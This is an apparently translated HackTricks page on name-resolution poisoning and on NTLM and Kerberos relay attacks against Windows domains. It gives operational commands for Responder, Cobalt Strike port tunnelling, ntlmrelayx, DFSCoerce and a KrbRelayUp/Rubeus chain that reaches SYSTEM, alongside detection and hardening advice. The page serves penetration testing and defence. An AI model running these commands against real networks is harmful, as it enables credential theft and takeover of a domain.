Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Protokoły sieciowe

Protokoły rozwiązywania nazw hostów lokalnych

  • LLMNR, NBT-NS, and mDNS:
  • Microsoft i inne systemy operacyjne używają LLMNR i NBT-NS do lokalnego rozwiązywania nazw, gdy DNS zawiedzie. Podobnie systemy Apple i Linux używają mDNS.
  • Te protokoły są podatne na przechwytywanie i spoofing ze względu na ich nieautoryzowaną, broadcastową naturę działającą przez UDP.
  • Responder i Dementor mogą być użyte do podszywania się pod usługi poprzez wysyłanie sfałszowanych odpowiedzi do hostów wysyłających zapytania do tych protokołów.
  • Dalsze informacje o impersonacji usług przy użyciu Responder można znaleźć here.

Web Proxy Auto-Discovery Protocol (WPAD)

  • WPAD pozwala przeglądarkom na automatyczne odnajdywanie ustawień proxy.
  • Odkrywanie realizowane jest przez DHCP, DNS lub fallback do LLMNR i NBT-NS, jeśli DNS zawiedzie.
  • Responder może zautomatyzować ataki WPAD, kierując klientów do złośliwych serwerów WPAD.

Responder/Dementor for Protocol Poisoning

  • Responder is a tool used for poisoning LLMNR, NBT-NS, and mDNS queries, selectively responding based on query types, primarily targeting SMB services.

  • Jest preinstalowany w Kali Linux, konfigurowalny w /etc/responder/Responder.conf.

  • Responder wyświetla przechwycone hashe na ekranie i zapisuje je w katalogu /usr/share/responder/logs.

  • Obsługuje zarówno IPv4, jak i IPv6.

  • Wersja dla Windows Responder jest dostępna here.

  • Dementor rozszerza tematykę multicast poisoning i dodatkowo działa jako rogue service provider (w tym wsparcie CUPS RCE).

  • Ogólna struktura jest podobna do Responder, z bardziej szczegółową konfiguracją. (domyślny plik jest tutaj: Dementor.toml)

  • Zgodność między Dementor a Responder przedstawiono tutaj: Compatibility Matrix

  • Wprowadzenie i dokumentacja: Dementor - Docs

  • Rozwiązuje problemy z przechwyceniem wprowadzone przez Responder w niektórych protokołach

Uruchamianie Responder

  • Aby uruchomić Responder z domyślnymi ustawieniami: responder -I <Interface>
  • Dla bardziej agresywnego sondowania (z możliwymi efektami ubocznymi): responder -I <Interface> -P -r -v
  • Techniki do przechwytywania wyzwań/odpowiedzi NTLMv1 dla łatwiejszego łamania: responder -I <Interface> --lm --disable-ess
  • Impersonacja WPAD może być aktywowana za pomocą: responder -I <Interface> --wpad
  • Zapytania NetBIOS mogą być rozwiązywane na adres IP atakującego, a proxy uwierzytelniania można skonfigurować: responder.py -I <interface> -Pv

Uruchamianie Dementor

  • Z zastosowaniem domyślnych ustawień: Dementor -I <interface>
  • Z domyślnymi ustawieniami w trybie analizy: Dementor -I <interface> -A
  • Automatyczne obniżenie sesji NTLM (ESS): Dementor -I <interface> -O NTLM.ExtendedSessionSecurity=Off
  • Uruchom aktualną sesję z niestandardową konfiguracją: Dementor -I <interface> --config <file.toml>

DHCP Poisoning with Responder

  • Spoofing DHCP responses can permanently poison a victim’s routing information, offering a stealthier alternative to ARP poisoning.
  • Wymaga dokładnej wiedzy o konfiguracji docelowej sieci.
  • Uruchomienie ataku: ./Responder.py -I eth0 -Pdv
  • Ta metoda może skutecznie przechwytywać hashe NTLMv1/2, ale wymaga ostrożnego obchodzenia się, aby nie zakłócić sieci.

Capturing Credentials with Responder/Dementor

  • Responder/Dementor będzie podszywać się pod usługi używając wyżej wymienionych protokołów, przechwytując poświadczenia (zwykle NTLMv2 Challenge/Response) gdy użytkownik spróbuje się uwierzytelnić przeciwko sfałszowanym usługom.
  • Można próbować obniżyć wersję do NetNTLMv1 lub wyłączyć ESS dla łatwiejszego łamania poświadczeń.

If you already have a writable SMB share that victims browse, you can coerce outbound SMB without spoofing by planting UNC-based lure files (SCF/LNK/library-ms/desktop.ini/Office) generated with ntlm_theft, then catching the authentication with Responder. See the Explorer-triggered UNC lure workflow.

Należy pamiętać, że stosowanie tych technik powinno odbywać się legalnie i etycznie, z odpowiednią autoryzacją i unikaniem zakłóceń czy nieautoryzowanego dostępu.

Inveigh

Inveigh is a tool for penetration testers and red teamers, designed for Windows systems. Oferuje funkcjonalności podobne do Responder, wykonując spoofing i man-in-the-middle attacks. Narzędzie ewoluowało z skryptu PowerShell do binarki w C#, z Inveigh i InveighZero jako głównymi wersjami. Szczegóły parametrów i instrukcje można znaleźć w wiki.

Inveigh can be operated through PowerShell:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Lub uruchomiony jako plik binarny C#:

Inveigh.exe

NTLM Relay Attack

Ten atak wykorzystuje sesje uwierzytelniania SMB do uzyskania dostępu do maszyny docelowej, przyznając system shell w przypadku powodzenia. Kluczowe wymagania wstępne obejmują:

  • Użytkownik uwierzytelniający się musi mieć Local Admin access na hoście, na którym następuje relaying.
  • SMB signing powinno być wyłączone.

445 Port Forwarding and Tunneling

W sytuacjach, gdy bezpośrednie wprowadzenie do sieci nie jest możliwe, ruch na porcie 445 musi zostać przekierowany i tunelowany. Narzędzia takie jak PortBender pomagają przekierować ruch z portu 445 na inny port, co jest istotne, gdy dostęp local admin umożliwia driver loading.

PortBender setup and operation in Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Inne narzędzia do NTLM Relay Attack

  • Metasploit: Skonfiguruj z proxy oraz szczegółami hosta lokalnego i zdalnego.
  • smbrelayx: Skrypt w Pythonie do przekazywania sesji SMB, wykonywania poleceń lub wdrażania backdoors.
  • MultiRelay: Narzędzie z pakietu Responder do relayowania konkretnych użytkowników lub wszystkich użytkowników, wykonywania poleceń lub dump hashes.

Każde narzędzie można skonfigurować do pracy przez SOCKS proxy, jeśli to konieczne, co umożliwia ataki nawet przy pośrednim dostępie do sieci.

Działanie MultiRelay

MultiRelay jest uruchamiany z katalogu /usr/share/responder/tools, celując w konkretne adresy IP lub użytkowników.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

RelayKing – wykrywanie podatnych na relay hostów docelowych i przygotowane listy relay

RelayKing jest narzędziem do audytu ekspozycji NTLM (exposure auditor), które mapuje miejsca, gdzie relaye są możliwe i generuje gotowe do użycia listy celów dla ntlmrelayx.py -tf. Sprawdza wzmocnienia protokołów (SMB signing/channel binding; HTTP/HTTPS/MSSQL/LDAP/LDAPS EPA/CBT; RPC auth) i oznacza coercion/reflection helpers (PetitPotam/PrinterBug/DFSCoerce, WebClient/WebDAV, NTLMv1, CVE-2025-33073 reflection).

  • Uwierzytelnienie poprawia niezawodność testów HTTPS/LDAPS CBT i MSSQL EPA; poziom SMB signing/signature jest badany bez uwierzytelnienia.
  • Ścieżkowanie relay między protokołami wykorzystuje potwierdzone wyniki Net-NTLMv1 (--ntlmv1/--ntlmv1-all); dla każdej ścieżki podawany jest ranking krytyczności.
  • --gen-relay-list <file> zapisuje listę celów przyjazną dla grep do użycia z ntlmrelayx.py -tf <file>, aby uniknąć prób i błędów.
  • --coerce-all masowo wyzwala PetitPotam/DFSCoerce/PrinterBug przeciwko wszystkim celom; --ntlmv1-all (RemoteRegistry) oraz --audit (zbieranie hostów LDAP w całej domenie) są głośne i generują wiele logowań/dostępów zdalnych.
  • --proto-portscan przyspiesza skanowanie przez pominięcie zamkniętych portów; --krb-dc-only pomaga, gdy DC blokują NTLM, ale inne usługi nadal je akceptują.

Example sweeps:

# Authenticated audit across multiple protocols + generate relay list for ntlmrelayx
python3 relayking.py -u lowpriv -p 'P@ssw0rd!' -d lab.local --dc-ip 10.0.0.10 \
--audit --protocols smb,ldap,ldaps,mssql,http,https --proto-portscan --ntlmv1 \
--threads 10 -vv -o plaintext,json --output-file relayking-scan --gen-relay-list relaytargets.txt

# Unauthenticated CIDR sweep for SMB/LDAP/HTTP relayability
python3 relayking.py --null-auth --protocols smb,ldap,http --proto-portscan -o plaintext 10.10.0.0/24

Te narzędzia i techniki tworzą kompletny zestaw do przeprowadzania NTLM Relay w różnych środowiskach sieciowych.

Nadużywanie WSUS HTTP (8530) do wykonania NTLM Relay na LDAP/SMB/AD CS (ESC8)

Klienci WSUS uwierzytelniają się do serwera aktualizacji przy użyciu NTLM przez HTTP (8530) lub HTTPS (8531). Gdy HTTP jest włączony, okresowe check-iny klientów mogą być wymuszone lub przechwycone na lokalnym segmencie i przekaźnikowane za pomocą ntlmrelayx do LDAP/LDAPS/SMB lub AD CS HTTP endpoints (ESC8) bez crackowania żadnych hashes. To wtapia się w normalny ruch aktualizacji i często skutkuje uwierzytelnieniami kont maszynowych (HOST$).

Czego szukać

  • Konfiguracja GPO/rejestru w HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate i …\WindowsUpdate\AU:
  • WUServer (np. http://wsus.domain.local:8530)
  • WUStatusServer (URL raportowania)
  • UseWUServer (1 = WSUS; 0 = Microsoft Update)
  • DetectionFrequencyEnabled oraz DetectionFrequency (godziny)
  • WSUS SOAP endpoints używane przez klientów przez HTTP:
  • /ClientWebService/client.asmx (approvals)
  • /ReportingWebService/reportingwebservice.asmx (status)
  • Domyślne porty: 8530/tcp HTTP, 8531/tcp HTTPS

Rozpoznanie

  • Bez uwierzytelnienia
    • Skanuj nasłuchujące usługi: nmap -sSVC -Pn –open -p 8530,8531 -iL
    • Podsłuchuj ruch WSUS HTTP przez L2 MITM i zapisuj aktywnych klientów/endpointy za pomocą wsusniff.py (tylko HTTP, chyba że uda Ci się sprawić, by klienci zaufali Twojemu certyfikatowi TLS).
  • Z uwierzytelnieniem
    • Parsuj SYSVOL GPO pod kątem kluczy WSUS za pomocą MANSPIDER + regpol (wrapper wsuspider.sh podsumowuje WUServer/WUStatusServer/UseWUServer).
    • Zapytaj endpointy na dużą skalę z hostów (NetExec) lub lokalnie: nxc smb -u -p -M reg-query -o PATH=“HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate” KEY=“WUServer” reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

Kroki relaya HTTP od początku do końca

  1. Umieść się w pozycji MITM (ten sam L2), tak aby klient rozwiązywał serwer WSUS na Ciebie (ARP/DNS poisoning, Bettercap, mitm6, itp.). Przykład z arpspoof: arpspoof -i -t <wsus_client_ip> <wsus_server_ip>

  2. Przekieruj port 8530 na swój listener relay (opcjonalne, wygodne): iptables -t nat -A PREROUTING -p tcp –dport 8530 -j REDIRECT –to-ports 8530 iptables -t nat -L PREROUTING –line-numbers

  3. Uruchom ntlmrelayx z HTTP listenerem (wymaga wsparcia Impacket dla HTTP listener; zobacz PRy poniżej): ntlmrelayx.py -t ldap:// -smb2support -socks –keep-relaying –http-port 8530

Inne popularne cele:

  • Relay do SMB (jeśli signing wyłączony) dla exec/dump: -t smb://
  • Relay do LDAPS dla zmian w katalogu (np. RBCD): -t ldaps://
  • Relay do AD CS web enrollment (ESC8) aby wystawić certyfikat i potem uwierzytelnić się przez Schannel/PKINIT: ntlmrelayx.py –http-port 8530 -t http:///certsrv/certfnsh.asp –adcs –no-http-server Dla głębszych ścieżek nadużyć AD CS i narzędzi zobacz stronę AD CS:

AD CS Domain Escalation

  1. Wymuś check-in klienta lub poczekaj na zaplanowany moment. Z poziomu klienta: wuauclt.exe /detectnow lub użyj Windows Update UI (Check for updates).

  2. Użyj uwierzytelnionych sesji SOCKS (jeśli -socks) lub bezpośrednich rezultatów relaya do post-exploitation (zmiany LDAP, operacje SMB, lub wystawienie certyfikatu AD CS do późniejszego uwierzytelnienia).

Ograniczenie HTTPS (8531)

  • Pasywna intercepcja WSUS przez HTTPS jest nieskuteczna, chyba że klienci zaufają Twojemu certyfikatowi. Bez zaufanego certyfikatu lub innego przełamania TLS, NTLM handshake nie może być zebrany ani przekazany z ruchu WSUS HTTPS.

Uwagi

  • WSUS został oznaczony jako przestarzały, ale nadal jest powszechnie wdrożony; HTTP (8530) wciąż jest powszechne w wielu środowiskach.
  • Przydatne narzędzia: wsusniff.py (obserwuj HTTP WSUS check-iny), wsuspider.sh (enumeruj WUServer/WUStatusServer z GPO), NetExec reg-query na dużą skalę.
  • Impacket przywrócił wsparcie dla HTTP listenera w ntlmrelayx w PR #2034 (oryginalnie dodane w PR #913).

Wymuszanie logowań NTLM

W Windows możesz być w stanie zmusić niektóre uprzywilejowane konta do uwierzytelnienia się do dowolnych maszyn. Przeczytaj następującą stronę, aby dowiedzieć się jak:

Force NTLM Privileged Authentication

Kerberos Relay attack

Kerberos relay attack kradnie AP-REQ ticket z jednej usługi i ponownie używa go przeciwko drugiej usłudze, która dzieli ten sam klucz konta komputera (ponieważ oba SPN siedzą na tym samym koncie maszyny kończącym się znakiem $). To działa nawet gdy klasy usług SPN różnią się (np. CIFS/LDAP/), ponieważ klucz, który odszyfrowuje ticket, to NT hash maszyny, a nie sam ciąg SPN i ciąg SPN nie jest częścią podpisu.

W przeciwieństwie do NTLM relay, skok jest ograniczony do tego samego hosta, ale jeśli celem jest protokół pozwalający na zapis do LDAP, można połączyć to w łańcuch prowadzący do Resource-Based Constrained Delegation (RBCD) lub AD CS enrollment i zdobyć NT AUTHORITY\SYSTEM w jednym przebiegu.

Dla szczegółowych informacji o tym ataku zobacz:

TokenCelZnaczenie dla relaya
TGT / AS-REQ ↔ REPUdowadnia użytkownika przed KDCuntouched
Service ticket / TGS-REQ ↔ REPPowiązany z jednym SPN; zaszyfrowany kluczem właściciela SPNwymienialny jeśli SPNy dzielą konto
AP-REQKlient wysyła TGS do usługito kradziony i powtarzany element
  • Tickets są szyfrowane kluczem pochodzącym z hasła konta, które posiada SPN.
  • Authenticator wewnątrz AP-REQ ma znacznik czasu 5 minut; ponowne odtworzenie w tym oknie jest ważne aż do momentu, gdy cache usługi wykryje duplikat.
  • Windows rzadko sprawdza, czy ciąg SPN w ticket odpowiada usłudze, do której się łączysz, więc ticket dla CIFS/HOST zwykle odszyfruje się poprawnie na LDAP/HOST.
    1. Co musi być spełnione, aby relay Kerberos zadziałał
  1. Wspólny klucz: źródłowe i docelowe SPNy należą do tego samego konta komputera (domyślne na serwerach Windows).
  2. Brak ochrony kanału: SMB/LDAP signing wyłączony oraz EPA wyłączone dla HTTP/LDAPS.
  3. Możesz przechwycić lub wymusić uwierzytelnienie: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, itp.
  4. Źródło ticketu nie jest już użyte: musisz wygrać wyścig zanim prawdziwy pakiet dotrze lub zablokować go całkowicie; w przeciwnym razie cache replay serwera wywoła Event 4649.
  5. Musisz w jakiś sposób móc wykonać MitM w komunikacji — np. będąc częścią grupy DNSAmins aby zmodyfikować DNS domeny lub mając możliwość zmiany pliku HOST na ofierze.

Kroki Kerberos Relay

  • 3.1 Rozpoznanie hosta
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
  • 3.2 Uruchom relay listener

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp opakowuje KrbRelay → LDAP → RBCD → Rubeus → SCM bypass w jednym pliku binarnym.

  • 3.3 Wymuszanie uwierzytelniania Kerberos
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce powoduje, że DC wysyła do nas Kerberos CIFS/DC01 ticket.

  • 3.4 Przekaż AP-REQ

KrbRelay wyodrębnia GSS blob z SMB, przepakuje go do LDAP bind i przesyła do ldap://DC01 — uwierzytelnianie kończy się powodzeniem, ponieważ ten sam klucz go odszyfrowuje.

  • 3.5 Wykorzystanie LDAP ➜ RBCD ➜ SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

Masz teraz NT AUTHORITY\SYSTEM.

Więcej ścieżek, które warto znać

VectorTrickWhy it matters
AuthIP / IPSecFake server sends a GSS-ID payload with any SPN; client builds an AP-REQ straight to youWorks even across subnets; machine creds by default
DCOM / MSRPCMalicious OXID resolver forces client to auth to arbitrary SPN and portPure local priv-esc; sidesteps firewall
AD CS Web EnrollRelay machine ticket to HTTP/CA and get a cert, then PKINIT to mint TGTsBypasses LDAP signing defenses
Shadow CredentialsWrite msDS-KeyCredentialLink, then PKINIT with forged key pairNo need to add a computer account

Rozwiązywanie problemów

ErrorMeaningFix
KRB_AP_ERR_MODIFIEDTicket key ≠ target keyWrong host/SPN
KRB_AP_ERR_SKEWClock > 5 min offsetSync time or use w32tm
LDAP bind failsSigning enforcedUse AD CS path or disable signing
Event 4649 spamService saw duplicate Authenticatorblock or race original packet

Wykrywanie

  • Surge in Event 4769 for CIFS/, HTTP/, LDAP/ from the same source within seconds.
  • Event 4649 on the service indicates replay detected.
  • Kerberos logon from 127.0.0.1 (relay to local SCM) is highly suspicious—map via Sigma rule in KrbRelayUp docs.
  • Watch changes to msDS-AllowedToActOnBehalfOfOtherIdentity or msDS-KeyCredentialLink attributes.

Wzmacnianie zabezpieczeń

  1. Enforce LDAP & SMB signing + EPA on every server.
  2. Split SPNs so HTTP isn’t on the same account as CIFS/LDAP.
  3. Patch coercion vectors (PetitPotam KB5005413, DFS, AuthIP).
  4. Set ms-DS-MachineAccountQuota = 0 to stop rogue computer joins.
  5. Alert on Event 4649 and unexpected loopback Kerberos logons.

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks